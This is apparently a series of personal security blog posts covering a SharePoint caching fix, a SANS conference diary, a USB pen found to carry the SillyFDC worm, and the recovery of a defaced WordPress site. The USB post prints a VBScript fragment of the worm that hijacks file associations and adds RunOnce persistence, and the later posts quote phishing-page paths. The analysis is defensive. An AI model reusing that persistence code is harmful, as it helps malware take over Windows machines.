Hello World

As an example of the missing images, if I attempted to view one of the failed images say, http ://someweb_site/Style%20Library/Images/btn_home.gif, it would display :

 (the white square and red cross is intentional, please don’t adjust your screens)

rather than  

In case you haven’t memorised the HTTP codes Wikipedia offers this refresher:

 304 Not Modified

Indicates the resource has not been modified since last requested. Typically, the HTTP client provides a header like the If-Modified-Since header to provide a time against which to compare. Using this saves bandwidth and reprocessing on both the server and client, as only the header data must be sent and received in comparison to the entirety of the page being re-processed by the server, then sent again using more bandwidth of the server and client.

Even though fiddler does a cracking job of recording what happening, I can never resist firing up Wireshark to confirm the same information. Below shows the server returning the 304 Not Modified response.

So the file was being requested from the server and the server was telling the client it hadn’t changed since last visit. But I hadn’t visited the site before. I flushed the client’s web browser cache just to be sure and still got the same error. To me that confirmed the error was at the server end.

SharePoint has its own caches to speed up page and content delivery.  The one I was interested in is the binary large objects (BLOB) cache and initial thought was to flush this cache and fix the problem, MS have a nice simple powershell script to do this http://technet.microsoft.com/en-us/library/gg277249.aspx

Flushed BLOB cach for the site, but still no dice. Then took a bit of a step back and looked at how SP used blog caches. Tobias Zimmergren’s blob piece was very help in understand where to look for the BLOB setting in the web.config file. A few simple checks showed that this site wasn’t using BLOB caching. Somehow SharePoint must have got confused in to thinking it did have a BLOB cache and was trying to return the images and JavaScript from the non-existent cache.

The fix was easy; we created a BLOB cache and everything worked beautifully, then we disable the BLOB cache and everything still worked. Despite the web page displaying the content correctly, I confirmed under the hood with fiddler and as you can see a much happier result.

The pre-panic GSE study, followed by the GSE exam took care of three days. Those days descended into terrible sleepless nights, which manifested itself in forcing me to roaming the halls, streets and haunts of nearby Vegas venues from 12am until 5am each night. This was a desperate attempt to weary my confused and over excited brain to slumber. If only it had worked. The days were simply blurred. I have vivid memories of particular moments and events, but anything that wasn’t GSE driven has been consigned to the void.

Luck was on my side this year as I got to be a work place volunteer at SANS Network Security 2010 on Steve Sims’ Developing Exploits for Penetration Testers and Security Researchers course. This meant I got to take this amazing course and not go in to further crippling debt, which in Vegas is always a good thing. Normally, as a volunteer, there’s a muster on morning before the conference starts and all the behind the scenes work takes place. This ranges from sorting out the course materials, working out what needs to be done and then everything in between. There’s a huge amount of hard, physical work that’s done by the volunteer crew. As the GSE exam was still in full flow, I missed all this. That’s actually a shame, as you get to know the others, start the banter and camaraderie that keeps you going for the long week ahead.

Around 1200 people attended, with 41 courses, dozens of talks, presentations and break out groups happening throughout the week. This is the first time I’ve been a part of a SANS conference of this size and the sheer amount of planning, organisation and ordered chaos is stunning. I stuck my head in the early register room around 8pm on the Sunday night and was surprise to find a large group of volunteers and SANS staff still there. They had registered over 500 students, but the place still looked like only a few people had registered. I said a few quick hellos, picked up my books and the famous red apron headed off to sleep. Well, that didn’t work and after around three hours sleep I was back at the meeting point at 6am Monday morning, feeling surprisingly awake. Only problem was, I was at the wrong muster point and it took about ten minutes to work this out. Obviously I was as awake as I thought.

A quick jog to the right meeting point, walked in to the volunteer group. To see thirty plus men and women in the bright red aprons in one spot is a stirring sight to behold, especial without any form of caffeine in the blood stream. Standing at the head of the room was Katherine, the SANS volunteer general, fixer, enforcer and part time fairy godmother. Katherine was in full flow, assigning last minute tasks, correcting minor issues and checking on status points. She quickly noted my less than quiet entrance and summoned me. This is a great start to the day and week, I though groaning inwardly, busted for being late and stupid, an excellent first impression. Katherine was very kind – fortunately – and had a couple of extra duties for me to undertake during the conference. None of which were any real burden and being determined to make up for any slight, I happily took them on.

The major part of the first day duties is to get the students sorted with their course materials, welcome packs and point them in the right directions. Given some of the delightful American accents and turns of phrase I’d already encountered and had some “minor confusions” with, I quickly volunteer to be a runner to grab the books, rather be on the front desk. There’s nothing worse that some foreigner demanding you repeat yourself clearly and in the Queen’s English – it might work for Hugh Grant, but put in front of 500 Americans who haven’t had coffee, I wouldn’t like his chances.

Anyway, the hours flew by. Some six hundred students where sorted out; I got to meet some of the guys and girls and nearly crippled both Emily and Matthew, the two other SANS staffers working with Katherine. I think the accent and the floppy hair smoothed over most of the my near fatal mistakes, the professionalism of everyone else helped too J

When a supply problem popped up, I got to assist Katherine as she worked her magic fixing it, which was pretty amazing to behold, given the distances, logistics and time frames involved. I’ve worked at big events before, but I’m still amazed how the folks in the background just make things work, without anyone noticing. I think they could have stepped in to a career as an illusionist without messing their hair.

All of this in the first few hours before conference had even started. The first day is usually the busiest and when things can go a bit loopy. Still, got to the end of the day in one piece and no fires broke out in the building, so better than the last SANS conference. It’s at this point the volunteers disappear in to the “office” do some quick paper work, talk about what’s happening in the classes and hurry off to help out with one of the evening talks.

It’s during the downtime you get to socialise with the other volunteers, share experiences, swap ideas, verbally abuse each other and generally have a lot of fun. It’s all about the banter. Anyone who puts their hand up for a one of these roles there to learn and put in a good amount of hard work on top of all the mental effort while in class. In my book, that’s someone worth getting to know. Over the six days, I got to spend a bit of time with pretty much everyone in a red apron, some very unlucky people got to spend too much time with me. Brad, Sarene and Jared obviously did something terrible in a former life and so got the lion share of quality time. If you get the chance to be a volunteer, throw everything you have at the experience and drag out every last second.

The rest of the week became a predictable flow of stability and spikes of utter chaos. The spikes, caused either by near-death experiences from instructors on Segways and/or beer, kept life pretty interesting. One late night incident which culminated in a disastrous round of whiskey shots, another plonked me in the middle of the Forensic crowd, face to face with Eric Huber and his Liege, Rob Lee. I think it only best to left some of other stories in Vegas, but a good and semi-safe time was had by all.

I had some excellent random chats with other students about the GSE, SANS, security and life in general. I only wish I’d had more time to spending chatting with some of the other people there, as I’d seen their names on blogs and mail lists, but it’s better to put a face to the name. As the little red apron gives you more access to the instructors, so I managed to chat with a good number that never reach these shores, in an attempt to teach a class or two in Oz.

Some fantastic talks were given in the evenings, but invariably there would be work to do or three talks on at the same time I wanted to be at, so I got to what I could. One evening I gave a talk on TMG, which I must write a post on, where 20 odd souls turned up to hear. I was following some very tough acts, but managed to survive and hey – I can now say I was on Stage in Vegas!

Summing up, it was a crazy, non-stop nine days in Las Vegas, I meet some amazing people, took a phenomenal course, had very little sleep, was occasionally tortured and had all-round brilliant time. Okay, it took over 1200 hundred words and a huge amount of rambling to say that, but it was a massive experience and one I won’t be forgetting any time soon.

When I say firewall, I mean a good, old layer 3 packet filtering device. The things that cost $100 new and are, well, ADSL routers with added security aren’t able to protect a small office by themselves. Added security  equals access control lists in a pretty GUI, so not really the poster boy for defense in depth.

Amazing that some IT “professionals” actually believe having a firewall will stop pc’s from getting malicious software. Thanks goodness the USB device fad never took off.

If you do not have anti-virus software on your home or small office computer, Microsoft provides a free copy you can download from here: http://www.microsoft.com/security_essentials/

It does the job, is simple to use and doesn’t cost a penny. You want something with all the whistles and bells, pick a security suite package from any of the big names.

We now return to our regular programme.

The first one to fix is Web of Trust (WOT), a plug-in for Firefox that is used as part of safe browsing.

Simple option is to create an account, link to your site under the My Site option, and save the web cookie verifier .html file on your home page. Click on verify the site and request it be reviewed. To speed up the process you can ask a few folks to certified it all okay. Takes about a day to go from Red and malicious to Green and good.

The second on is the excellent folks at www.phishtank.com who help steer folks away from evil phishing sites. They are part of OpenDNS, so if you’re using OpenDNS services, this site is marked as a phishing site and you’re told not to enter. OpenDNS results are used by other services, so fixing the reputation here will clean up other safe browsing tools.

Despite my site not being an actual phishing site, the bad guys linked through my domain name to a compromised web site on the same server.

So should you type:

www.chris-mohan.com/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off

and the computer translates it to :

10.1.10.1/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off

The /~hackedsite being another user account on the same server as me. Linux helpfully understands the command uses the ip address of my site (which is the same as a couple of hundred hosted others) and redirects to hackedsite web site. in effect this is what happens

10.1.10.1/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off

The web site hackedsite got closed down when I reported it by the hosting company, so phishing was no longer an issue.

I registered  an account  on www.phishtank.com and asked for the site to be review and reclassifed now that the bad stuff has been removed. Now waiting to see how long it takes before being reviewed.

Update: The faster way to get the site off phishtank was to send an email to the support team at OpenDNS. The team there turn around my request in under a day

It was a lovely thought and I was touched by the gesture.

Both items are of the geek variety and bought from stalls, one a ball point pen with a built in 2GB USB stick that can act as a voice recorder and the other a 240GB USB stick.

3-in-1 Pen-recorder-malware

240GB Flash drive - really?

Now, from having worked with companies that operate in Asia and especially China, I’ve often discovered that some of pieces of technology come with free added “extras”.

I have to admit some level of amazement when told of the 240GB USB flash drive, especial when the afore mentioned relative said he hadn’t seen the 500GB USB flash drive after he’d bought this one. I thought the largest current flash drive available was on 128GB, sadly it appears I was right. A quick search of 240G Sony quick turned up this page. This thing is a total fake and is actually a whooping 32MB. However it looks pretty and I can amaze my friends and family with a 234GB drive that I can’t save anything to. Might give it to the Auditors next time they’re in the office.

Wow it's really 234GB - honest!

I plugged both USB devices in to a spare Linux machine, just to see it any software was on either. The Fake 240GB USB was empty, but the recording pen had lots of goodies.

The first thing that caught my eye was the autorun.ini file. A quick look at that pointed to a MS-DOS.COM saved on the pen. After a quick imaging of the files, I decide to open a copy of the MS-DOS.COM.

The random looking junk didn’t quite look like normal .COM file junk, if only I could have taken SANS Reverse-Engineering Malware: Malware Analysis Tools and Techniques course, I may have been able to do a better analysis. However, halfway through the file, the weird characters disappeared and stuff I can recognize and understand appears in plain English.

This is some of what I extracted:

Dim fs,rg

Set fs = CreateObject("scripting.filesystemobject")

Set rg = CreateObject("wscript.shell")

On Error Resume Next

rg.RegWrite "HKCR\.vbs\", "VBSFile"

rg.RegWrite "HKCU\Control Panel\Desktop\SCRNSAVE.EXE","C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com"

rg.RegWrite "HKCU\Control Panel\Desktop\ScreenSaveTimeOut", "30"

rg.RegWrite "HKCR\MSCFile\Shell\Open\Command\","C:\WINDOWS\pchealth\Global.exe"

rg.RegWrite "HKCR\regfile\Shell\Open\Command\","C:\WINDOWS\pchealth\Global.exe"

rg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\","C:\WINDOWS\system32\dllcache\Default.exe"

rg.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\","C:\WINDOWS\system32\dllcache\Default.exe"

– Plenty more VBS code chopped out –

This clearly isn’t a real .Com file. Two seconds of searching found out that this is a variant of the SillyFDC worm. A write up of it here talks how it was slapping the US military systems around back in 2008. Most antivirus software would have picked it up, but then again, why test it.

Moral of the story, if you buy kit like this, for the “best price” for a back street stall, buyer beware. Unless you’re a Malware researcher then go mad, it’s Christmas day with every item bought!

Being attacked and having to recover is sadly part of IT life these days, but the more practice, the better you get at it. I’m oddly indebted to this particular attacker as it meant I’ve had to spend time understanding how the hosting company works, how this site is put together and the glaring shortfalls of outsourcing management and security to a third party.

On the 31st of May this blog was defaced and had a number of files uploaded to it.

The defacement was of a political, religious statement nature, which I’d suggest defacing web sites is a bit of a waste of time. Given the attacker lives in a democracy, whether he believes it is or not, I’d recommend he’d spend the time working in worth while, legal groups to express his views or simply help out the local community. If you have a voice and a vote use it, people change the world by words and deed, not by petty vandalism or criminal Paypal pharming schemes to steal money from your fellow man.  I’ll get off my soap box now.

On the 7th of June, I actually noticed the defacement. Oops.

Note to self – be more narcissistic and look at my own blog more often.

In under a minute, I went from shock to annoyance to curiosity. How did this guy get in, what was he actually doing and would I be able to work out how to stop it again?

I wasn’t able to log on to the cpanel to control the site, the wacky security of putting it on a random port over https does not work for locked down corporate environments.

So the first step was to call the hosting company and ask if this was a mass defacement or just me. A number of hosting companies hosting word press site had be compromised due to their bad practices, so best to check. Fortunately for  me I go the support “consultant” that struggled with English. After a painful twenty minutes, the best I got out of the conversation was for him to reset a password and mine was the only site hacked. More on this later. He did offer the gems of: Change your password every couple of weeks and don’t set stuff to 755. Magic. If I was a normal human being 755 would mean the world to me. Thank you!

This is now a great time to bring up the SANS six step incident response steps process. These steps help work through how to deal with this mess:

1. Preparation 2. Identification 3. Containment 4. Eradication 5. Recovery 6. Lessons learned

Identification

After  finish work, I finally got on to the site control panel via cpanel and kicked off a backup of the site just to examine off line what had happened.

The defacement was a simple replacement of the index.php file, which contained a lot of meta data. This meta data confirmed the OS, who had customized the OS and where to get a copy of it, what version of Word the defacement page had been made with and a few other pieces of helpful data. What was really interesting was the uploaded fake PayPal.fr payment page sub-directories and file in the public_html folder. The blog’s site logs also contained entries like this:

/~silkhous/PayPaI.Com/confirmmation4548664512884645384534/B!M@R/ProfileCCAdd.js

The /~silkhous refers to another home directory on the same hosted server as my blog. Looks like the other site was suffering the same problem, so much for me with the only site being attacked. Nice work hosting provider!

This caused an instant road block. Alerting Paypal that people are being pharmed out weighted my curious and recover process. As there’s no clear, direct way to contact Paypal’s security team, I had to go through customer service. The very nice lady somewhat taken back that someone might do this and asked me to submit my findings to an email address. When I asked to speak to someone directly, I was told the security team was a back office group and couldn’t be directly contacted. Oh well, the Paypal rep was helpful and was pretty excited, so I sent the details off and went back to the clean up.

Containment, Eradication and Recovery

What I’d found didn’t give me any real clear indications of how the attacker got in. I knew what he’d done to the site, and as he’d kindly defaced the site and tagged it with his email address, I was able to out a fair bit of information on him just from search engines. Still, no clear method of how he got in.

The common options to break in to a WordPress/web site are

1) The hosting provide is vulnerable to attacks and then control the entire server*

2) Bad passwords – allowing brute force attacks (password guessing)

3) Poorly written plug-ins allow attackers to execute code and commands on the site

4) Old version of Word Press allow attackers to execute code through know vulnerabilities

I can safely rule out 2 and 4 as entry points, which leaves only 3 something I can do about now.

Since I make backups of the site every after x number of blog pieces I upload, I decided to delete the entire site and upload a fresh copy of WordPress. Using a couple good articles from WordPress, I picked the parts that worked for me from them to add additional security.

http://codex.wordpress.org/FAQ_My_site_was_hacked

http://codex.wordpress.org/Hardening_WordPress

I then move back old versions of the content to the blog, tested, made a few more changes, took a back up again and then reset the passwords again and ran one final check.

*Should this happen again, time to move web site providers to someone who keeps their OS and software up to date…

Lessons Learned

• RTFM WordPress’ security guides
• Avoid having gadgets and plugins just because the look pretty
• Understand the structure and layout of WordPress and the web site
• More regular backups
• Rotate the access logs off the server

So am I safe now?

Possibly, possibly not.

I can say I’ve improved the security of the site and cleaned up some crap. As I still don’t know how he got in, he may just read this, get annoyed and deface the site again using the same hole he did last time. As I think he just ran an automated scanner to find “x” problem then automatically exploit it, he probably won’t read this or even visit the site. Saying that, only a very small number of sites got exploited, so he might come back to visit.

If so and that’s you Mr Attacker- Bonjour là, signalent un commentaire et me font savoir vous êtes entré la première fois. Merci !

I would have used Arabic, but I don’t really trust the translation software. I’ve seen what it does to English.

These guys do great work, have excellent clients and the environment to sharpen your security skills to a razor’s edge.

Normally, I’d leave you to hunt through your favorite job web site but, in a moment of kindness, feast your eyes on this

On a mildly serious note, you would struggle to find similar opportunities for skills and career advancement in the security field. The team there are great to work with and there’s no end of learning opportunities.

I can read and carry all my geeks book, massive pdf files and evil security books without raising suspicions.

I get curious glances on the bus, but none of the looks of outright horror and fear when I leafing through a 1000 pager on TCP/IP.

I can quickly flip to a human friendly book if someone takes and interest in the kindle and wow them with free access to buy books anywhere in the world.

Then I can sneak back to reading up on BOFs, SEH and other three letter acronyms (tla) of the IT world with click of a button.

Even the Microsoft training manual PDF’s overly Visio-ed diagrams come out well.

Mu-ha-ha

Now if only copy write laws banning thousands of books being delivered to Australia based kindles could be sorted, I’d be a very happy man.